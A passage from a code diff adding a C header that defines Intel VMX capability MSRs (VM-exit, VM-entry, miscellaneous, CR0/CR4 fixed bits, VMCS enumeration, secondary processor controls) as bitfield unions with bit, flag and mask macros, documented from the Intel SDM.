IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS_BIT 31 +#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS_FLAG 0x80000000 +#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS(_) (((_) >> 31) & 0x01) + uint64_t reserved7 : 32; + }; + + uint64_t flags; +} ia32_vmx_procbased_ctls_register; + + +/** + * Capability Reporting Register of VM-Exit Controls. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.4(VM-EXIT CONTROLS)] + * @see Vol3C[24.7.1(VM-Exit Controls)] (reference) + */ +#define IA32_VMX_EXIT_CTLS 0x00000483 +typedef union +{ + struct + { + uint64_t reserved1 : 2; + + /** + * @brief Save guest debug controls (dr7 & IA32_DEBUGCTL_MSR) (forced to 1 on the 'first' VT-x capable CPUs; this actually + * includes the newest Nehalem CPUs) + * + * [Bit 2] This control determines whether DR7 and the IA32_DEBUGCTL MSR are saved on VM exit. The first processors to + * support the virtual-machine extensions supported only the 1-setting of this control. + */ + uint64_t save_debug_controls : 1; +#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS_BIT 2 +#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS_FLAG 0x04 +#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS(_) (((_) >> 2) & 0x01) + uint64_t reserved2 : 6; + + /** + * @brief Return to long mode after a VM-exit + * + * [Bit 9] On processors that support Intel 64 architecture, this control determines whether a logical processor is in + * 64-bit mode after the next VM exit. Its value is loaded into CS.L, IA32_EFER.LME, and IA32_EFER.LMA on every VM exit.1 + * This control must be 0 on processors that do not support Intel 64 architecture. + */ + uint64_t host_address_space_size : 1; +#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE_BIT 9 +#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE_FLAG 0x200 +#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE(_) (((_) >> 9) & 0x01) + uint64_t reserved3 : 2; + + /** + * @brief Whether the IA32_PERF_GLOBAL_CTRL MSR is loaded on VM-exit + * + * [Bit 12] This control determines whether the IA32_PERF_GLOBAL_CTRL MSR is loaded on VM exit. + */ + uint64_t load_ia32_perf_global_ctrl : 1; +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_BIT 12 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_FLAG 0x1000 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL(_) (((_) >> 12) & 0x01) + uint64_t reserved4 : 2; + + /** + * @brief Acknowledge external interrupts with the irq controller if one caused a VM-exit + * + * [Bit 15] This control affects VM exits due to external interrupts: + * - If such a VM exit occurs and this control is 1, the logical processor acknowledges the interrupt controller, acquiring + * the interrupt's vector. The vector is stored in the VM-exit interruption-information field, which is marked valid. + * - If such a VM exit occurs and this control is 0, the interrupt is not acknowledged and the VM-exit + * interruption-information field is marked invalid. + */ + uint64_t acknowledge_interrupt_on_exit : 1; +#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT_BIT 15 +#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT_FLAG 0x8000 +#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT(_) (((_) >> 15) & 0x01) + uint64_t reserved5 : 2; + + /** + * @brief Whether the guest IA32_PAT MSR is saved on VM-exit + * + * [Bit 18] This control determines whether the IA32_PAT MSR is saved on VM exit. + */ + uint64_t save_ia32_pat : 1; +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT_BIT 18 +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT_FLAG 0x40000 +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT(_) (((_) >> 18) & 0x01) + + /** + * @brief Whether the host IA32_PAT MSR is loaded on VM-exit + * + * [Bit 19] This control determines whether the IA32_PAT MSR is loaded on VM exit. + */ + uint64_t load_ia32_pat : 1; +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT_BIT 19 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT_FLAG 0x80000 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT(_) (((_) >> 19) & 0x01) + + /** + * @brief Whether the guest IA32_EFER MSR is saved on VM-exit + * + * [Bit 20] This control determines whether the IA32_EFER MSR is saved on VM exit. + */ + uint64_t save_ia32_efer : 1; +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER_BIT 20 +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER_FLAG 0x100000 +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER(_) (((_) >> 20) & 0x01) + + /** + * @brief Whether the host IA32_EFER MSR is loaded on VM-exit + * + * [Bit 21] This control determines whether the IA32_EFER MSR is loaded on VM exit. + */ + uint64_t load_ia32_efer : 1; +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER_BIT 21 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER_FLAG 0x200000 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER(_) (((_) >> 21) & 0x01) + + /** + * @brief Whether the value of the VMX preemption timer is saved on every VM-exit + * + * [Bit 22] This control determines whether the value of the VMX-preemption timer is saved on VM exit. + */ + uint64_t save_vmx_preemption_timer_value : 1; +#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE_BIT 22 +#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE_FLAG 0x400000 +#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE(_) (((_) >> 22) & 0x01) + + /** + * [Bit 23] This control determines whether the IA32_BNDCFGS MSR is cleared on VM exit. + */ + uint64_t clear_ia32_bndcfgs : 1; +#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS_BIT 23 +#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS_FLAG 0x800000 +#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS(_) (((_) >> 23) & 0x01) + + /** + * [Bit 24] If this control is 1, Intel Processor Trace does not produce a paging information packet (PIP) on a VM exit or + * a VMCS packet on an SMM VM exit. + * + * @see Vol3C[35(INTEL(R) PROCESSOR TRACE)] + */ + uint64_t conceal_vmx_from_pt : 1; +#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT_BIT 24 +#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT_FLAG 0x1000000 +#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT(_) (((_) >> 24) & 0x01) + uint64_t reserved6 : 39; + }; + + uint64_t flags; +} ia32_vmx_exit_ctls_register; + + +/** + * Capability Reporting Register of VM-Entry Controls. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.5(VM-ENTRY CONTROLS)] + * @see Vol3D[24.8.1(VM-Entry Controls)] (reference) + */ +#define IA32_VMX_ENTRY_CTLS 0x00000484 +typedef union +{ + struct + { + uint64_t reserved1 : 2; + + /** + * @brief Load guest debug controls (dr7 & IA32_DEBUGCTL_MSR) (forced to 1 on the 'first' VT-x capable CPUs; this actually + * includes the newest Nehalem CPUs) + * + * [Bit 2] This control determines whether DR7 and the IA32_DEBUGCTL MSR are loaded on VM entry. The first processors to + * support the virtual-machine extensions supported only the 1-setting of this control. + */ + uint64_t load_debug_controls : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS_BIT 2 +#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS_FLAG 0x04 +#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS(_) (((_) >> 2) & 0x01) + uint64_t reserved2 : 6; + + /** + * @brief 64 bits guest mode. Must be 0 for CPUs that don't support AMD64 + * + * [Bit 9] On processors that support Intel 64 architecture, this control determines whether the logical processor is in + * IA-32e mode after VM entry. Its value is loaded into IA32_EFER.LMA as part of VM entry. This control must be 0 on + * processors that do not support Intel 64 architecture. + */ + uint64_t ia32e_mode_guest : 1; +#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST_BIT 9 +#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST_FLAG 0x200 +#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST(_) (((_) >> 9) & 0x01) + + /** + * @brief In SMM mode after VM-entry + * + * [Bit 10] This control determines whether the logical processor is in system-management mode (SMM) after VM entry. This + * control must be 0 for any VM entry from outside SMM. + */ + uint64_t entry_to_smm : 1; +#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM_BIT 10 +#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM_FLAG 0x400 +#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM(_) (((_) >> 10) & 0x01) + + /** + * @brief Disable dual treatment of SMI and SMM; must be zero for VM-entry outside of SMM + * + * [Bit 11] If set to 1, the default treatment of SMIs and SMM is in effect after the VM entry. This control must be 0 for + * any VM entry from outside SMM + * + * @see Vol3C[34.15.7(Deactivating the Dual-Monitor Treatment)] + */ + uint64_t deactivate_dual_monitor_treatment : 1; +#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT_BIT 11 +#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT_FLAG 0x800 +#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT(_) (((_) >> 11) & 0x01) + uint64_t reserved3 : 1; + + /** + * @brief Whether the guest IA32_PERF_GLOBAL_CTRL MSR is loaded on VM-entry + * + * [Bit 13] This control determines whether the IA32_PERF_GLOBAL_CTRL MSR is loaded on VM entry. + */ + uint64_t load_ia32_perf_global_ctrl : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_BIT 13 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_FLAG 0x2000 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL(_) (((_) >> 13) & 0x01) + + /** + * @brief Whether the guest IA32_PAT MSR is loaded on VM-entry + * + * [Bit 14] This control determines whether the IA32_PAT MSR is loaded on VM entry. + */ + uint64_t load_ia32_pat : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT_BIT 14 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT_FLAG 0x4000 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT(_) (((_) >> 14) & 0x01) + + /** + * @brief Whether the guest IA32_EFER MSR is loaded on VM-entry + * + * [Bit 15] This control determines whether the IA32_EFER MSR is loaded on VM entry. + */ + uint64_t load_ia32_efer : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER_BIT 15 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER_FLAG 0x8000 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER(_) (((_) >> 15) & 0x01) + + /** + * [Bit 16] This control determines whether the IA32_BNDCFGS MSR is loaded on VM entry. + */ + uint64_t load_ia32_bndcfgs : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS_BIT 16 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS_FLAG 0x10000 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS(_) (((_) >> 16) & 0x01) + + /** + * [Bit 17] If this control is 1, Intel Processor Trace does not produce a paging information packet (PIP) on a VM entry or + * a VMCS packet on a VM entry that returns from SMM. + * + * @see Vol3C[35(INTEL(R) PROCESSOR TRACE)] + */ + uint64_t conceal_vmx_from_pt : 1; +#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT_BIT 17 +#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT_FLAG 0x20000 +#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT(_) (((_) >> 17) & 0x01) + + /** + * [Bit 18] This control determines whether the IA32_RTIT_CTL MSR is loaded on VM entry. + */ + uint64_t load_ia32_rtit_ctl : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL_BIT 18 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL_FLAG 0x40000 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL(_) (((_) >> 18) & 0x01) + uint64_t reserved4 : 1; + + /** + * [Bit 20] This control determines whether CET-related MSRs and SPP are loaded on VM entry. + */ + uint64_t load_cet_state : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE_BIT 20 +#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE_FLAG 0x100000 +#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE(_) (((_) >> 20) & 0x01) + uint64_t reserved5 : 43; + }; + + uint64_t flags; +} ia32_vmx_entry_ctls_register; + + +/** + * Reporting Register of Miscellaneous VMX Capabilities. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.6(MISCELLANEOUS DATA)] + * @see Vol3D[A.6(Miscellaneous Data)] (reference) + */ +#define IA32_VMX_MISC 0x00000485 +typedef union +{ + struct + { + /** + * @brief Relationship between the preemption timer and tsc; count down every time bit x of the tsc changes + * + * [Bits 4:0] Report a value X that specifies the relationship between the rate of the VMX-preemption timer and that of the + * timestamp counter (TSC). Specifically, the VMX-preemption timer (if it is active) counts down by 1 every time bit X in + * the TSC changes due to a TSC increment. + */ + uint64_t preemption_timer_tsc_relationship : 5; +#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP_BIT 0 +#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP_FLAG 0x1F +#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP_MASK 0x1F +#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP(_) (((_) >> 0) & 0x1F) + + /** + * @brief Whether VM-exit stores EFER.LMA into the "IA32e mode guest" field + * + * [Bit 5] When set to 1, VM exits store the value of IA32_EFER.LMA into the "IA-32e mode guest" VM-entry control. This bit + * is read as 1 on any logical processor that supports the 1-setting of the "unrestricted guest" VM-execution control. + * + * @see Vol3C[27.2(RECORDING VM-EXIT INFORMATION AND UPDATING VM-ENTRY CONTROL FIELDS)] + */ + uint64_t store_efer_lma_on_vmexit : 1; +#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT_BIT 5 +#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT_FLAG 0x20 +#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT_MASK 0x01 +#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT(_) (((_) >> 5) & 0x01) + + /** + * @brief Activity states supported by the implementation + * + * [Bits 8:6] Report, as a bitmap, the activity states supported by the implementation: + * - Bit 6 reports (if set) the support for activity state 1 (HLT). + * - Bit 7 reports (if set) the support for activity state 2 (shutdown). + * - Bit 8 reports (if set) the support for activity state 3 (wait-for-SIPI). + * If an activity state is not supported, the implementation causes a VM entry to fail if it attempts to establish that + * activity state. All implementations support VM entry to activity state 0 (active). + */ + uint64_t activity_states : 3; +#define IA32_VMX_MISC_ACTIVITY_STATES_BIT 6 +#define IA32_VMX_MISC_ACTIVITY_STATES_FLAG 0x1C0 +#define IA32_VMX_MISC_ACTIVITY_STATES_MASK 0x07 +#define IA32_VMX_MISC_ACTIVITY_STATES(_) (((_) >> 6) & 0x07) + uint64_t reserved1 : 5; + + /** + * @brief Intel Processor Trace (Intel PT) can be used in VMX operation + * + * [Bit 14] When set to 1, Intel(R) Processor Trace (Intel PT) can be used in VMX operation. If the processor supports Intel + * PT but does not allow it to be used in VMX operation, execution of VMXON clears IA32_RTIT_CTL.TraceEn; any attempt to + * write IA32_RTIT_CTL while in VMX operation (including VMX root operation) causes a general-protection exception. + * + * @see Vol3C[30.3(VMX INSTRUCTIONS | VMXON-Enter VMX Operation)] + */ + uint64_t intel_pt_available_in_vmx : 1; +#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX_BIT 14 +#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX_FLAG 0x4000 +#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX_MASK 0x01 +#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX(_) (((_) >> 14) & 0x01) + + /** + * @brief Whether RDMSR can be used to read IA32_SMBASE_MSR in SMM + * + * [Bit 15] When set to 1, the RDMSR instruction can be used in system-management mode (SMM) to read the IA32_SMBASE MSR + * (MSR address 9EH). + * + * @see Vol3C[34.15.6.3(Saving Guest State)] + */ + uint64_t rdmsr_can_read_ia32_smbase_msr_in_smm : 1; +#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM_BIT 15 +#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM_FLAG 0x8000 +#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM_MASK 0x01 +#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM(_) (((_) >> 15) & 0x01) + + /** + * @brief Number of CR3 target values supported by the processor (0-256) + * + * [Bits 24:16] Indicate the number of CR3-target values supported by the processor. This number is a value between 0 and + * 256, inclusive (bit 24 is set if and only if bits 23:16 are clear). + */ + uint64_t cr3_target_count : 9; +#define IA32_VMX_MISC_CR3_TARGET_COUNT_BIT 16 +#define IA32_VMX_MISC_CR3_TARGET_COUNT_FLAG 0x1FF0000 +#define IA32_VMX_MISC_CR3_TARGET_COUNT_MASK 0x1FF +#define IA32_VMX_MISC_CR3_TARGET_COUNT(_) (((_) >> 16) & 0x1FF) + + /** + * @brief Maximum number of MSRs in the VMCS. (N+1)*512 + * + * [Bits 27:25] Used to compute the recommended maximum number of MSRs that should appear in the VM-exit MSR-store list, + * the VM-exit MSR-load list, or the VM-entry MSR-load list. Specifically, if the value bits 27:25 of IA32_VMX_MISC is N, + * then 512 * (N + 1) is the recommended maximum number of MSRs to be included in each list. If the limit is exceeded, + * undefined processor behavior may result (including a machine check during the VMX transition). + */ + uint64_t max_number_of_msr : 3; +#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR_BIT 25 +#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR_FLAG 0xE000000 +#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR_MASK 0x07 +#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR(_) (((_) >> 25) & 0x07) + + /** + * @brief Whether bit 2 of IA32_SMM_MONITOR_CTL can be set to 1 + * + * [Bit 28] When set to 1, bit 2 of the IA32_SMM_MONITOR_CTL can be set to 1. VMXOFF unblocks SMIs unless + * IA32_SMM_MONITOR_CTL[bit 2] is 1. + * + * @see Vol3C[34.14.4(VMXOFF and SMI Unblocking)] + */ + uint64_t smm_monitor_ctl_b2 : 1; +#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2_BIT 28 +#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2_FLAG 0x10000000 +#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2_MASK 0x01 +#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2(_) (((_) >> 28) & 0x01) + + /** + * @brief Whether VMWRITE can be used to write VM-exit information fields + * + * [Bit 29] When set to 1, software can use VMWRITE to write to any supported field in the VMCS; otherwise, VMWRITE cannot + * be used to modify VM-exit information fields. + */ + uint64_t vmwrite_vmexit_info : 1; +#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO_BIT 29 +#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO_FLAG 0x20000000 +#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO_MASK 0x01 +#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO(_) (((_) >> 29) & 0x01) + + /** + * [Bit 30] When set to 1, VM entry allows injection of a software interrupt, software exception, or privileged software + * exception with an instruction length of 0. + */ + uint64_t zero_length_instruction_vmentry_injection : 1; +#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION_BIT 30 +#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION_FLAG 0x40000000 +#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION_MASK 0x01 +#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION(_) (((_) >> 30) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief MSEG revision identifier used by the processor + * + * [Bits 63:32] Report the 32-bit MSEG revision identifier used by the processor. + */ + uint64_t mseg_id : 32; +#define IA32_VMX_MISC_MSEG_ID_BIT 32 +#define IA32_VMX_MISC_MSEG_ID_FLAG 0xFFFFFFFF00000000 +#define IA32_VMX_MISC_MSEG_ID_MASK 0xFFFFFFFF +#define IA32_VMX_MISC_MSEG_ID(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_vmx_misc_register; + + +/** + * Capability Reporting Register of CR0 Bits Fixed to 0. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.7(VMX-FIXED BITS IN CR0)] + * @see Vol3D[A.7(VMX-Fixed Bits in CR0)] (reference) + */ +#define IA32_VMX_CR0_FIXED0 0x00000486 + + /** + * Capability Reporting Register of CR0 Bits Fixed to 1. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.7(VMX-FIXED BITS IN CR0)] + * @see Vol3D[A.7(VMX-Fixed Bits in CR0)] (reference) + */ +#define IA32_VMX_CR0_FIXED1 0x00000487 + + /** + * Capability Reporting Register of CR4 Bits Fixed to 0. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.8(VMX-FIXED BITS IN CR4)] + * @see Vol3D[A.8(VMX-Fixed Bits in CR4)] (reference) + */ +#define IA32_VMX_CR4_FIXED0 0x00000488 + + /** + * Capability Reporting Register of CR4 Bits Fixed to 1. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.8(VMX-FIXED BITS IN CR4)] + * @see Vol3D[A.8(VMX-Fixed Bits in CR4)] (reference) + */ +#define IA32_VMX_CR4_FIXED1 0x00000489 + + /** + * Capability Reporting Register of VMCS Field Enumeration. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.9(VMCS ENUMERATION)] + * @see Vol3D[A.9(VMCS Enumeration)] (reference) + */ +#define IA32_VMX_VMCS_ENUM 0x0000048A +typedef union +{ + struct + { + /** + * [Bit 0] Indicates access type. + */ + uint64_t access_type : 1; +#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE_BIT 0 +#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE_FLAG 0x01 +#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE_MASK 0x01 +#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE(_) (((_) >> 0) & 0x01) + + /** + * [Bits 9:1] Highest index value used for any VMCS encoding. + */ + uint64_t highest_index_value : 9; +#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE_BIT 1 +#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE_FLAG 0x3FE +#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE_MASK 0x1FF +#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE(_) (((_) >> 1) & 0x1FF) + + /** + * [Bits 11:10] Indicate the field's type. + */ + uint64_t field_type : 2; +#define IA32_VMX_VMCS_ENUM_FIELD_TYPE_BIT 10 +#define IA32_VMX_VMCS_ENUM_FIELD_TYPE_FLAG 0xC00 +#define IA32_VMX_VMCS_ENUM_FIELD_TYPE_MASK 0x03 +#define IA32_VMX_VMCS_ENUM_FIELD_TYPE(_) (((_) >> 10) & 0x03) + uint64_t reserved1 : 1; + + /** + * [Bits 14:13] Indicate the field's width. + */ + uint64_t field_width : 2; +#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH_BIT 13 +#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH_FLAG 0x6000 +#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH_MASK 0x03 +#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH(_) (((_) >> 13) & 0x03) + uint64_t reserved2 : 49; + }; + + uint64_t flags; +} ia32_vmx_vmcs_enum_register; + + +/** + * Capability Reporting Register of Secondary Processor-Based VM-Execution Controls. + * + * @remarks If ( CPUID.01H:ECX.[5] && IA32_VMX_PROCBASED_CTLS[63] ) + * @see Vol3D[A.3.3(Secondary Processor-Based VM-Execution Controls)] + * @see Vol3D[24.6.2(Processor-Based VM-Execution Controls)] (reference) + */ +#define IA32_VMX_PROCBASED_CTLS2 0x0000048B +typedef union +{ + struct + { + /** + * @brief Virtualize APIC access + * + * [Bit 0] If this control is 1, the logical processor treats specially accesses to the page with the APICaccess address. + * + * @see Vol3C[29.4(VIRTUALIZING MEMORY-MAPPED APIC ACCESSES)] + */ + uint64_t virtualize_apic_accesses : 1; +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES_BIT 0 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES_FLAG 0x01 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES(_) (((_) >> 0) & 0x01) + + /** + * @brief EPT supported/enabled + * + * [Bit 1] If this control is 1, extended page tables (EPT) are enabled. + * + * @see Vol3C[28.2(THE EXTENDED PAGE TABLE MECHANISM (EPT))] + */ + uint64_t enable_ept : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT_BIT 1 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT_FLAG 0x02 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT(_) (((_) >> 1) & 0x01) + + /** + * @brief Descriptor table instructions cause VM-exits + * + * [Bit 2] This control determines whether executions of LGDT, LIDT, LLDT, LTR, SGDT, SIDT, SLDT, and STR cause VM exits. + */ + uint64_t descriptor_table_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING_BIT 2 +#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING_FLAG 0x04 +#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING(_) (((_) >> 2) & 0x01) + + /** + * @brief RDTSCP supported/enabled + * + * [Bit 3] If this control is 0, any execution of RDTSCP causes an invalid-opcode exception (\#UD). + */ + uint64_t enable_rdtscp : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP_BIT 3 +#define 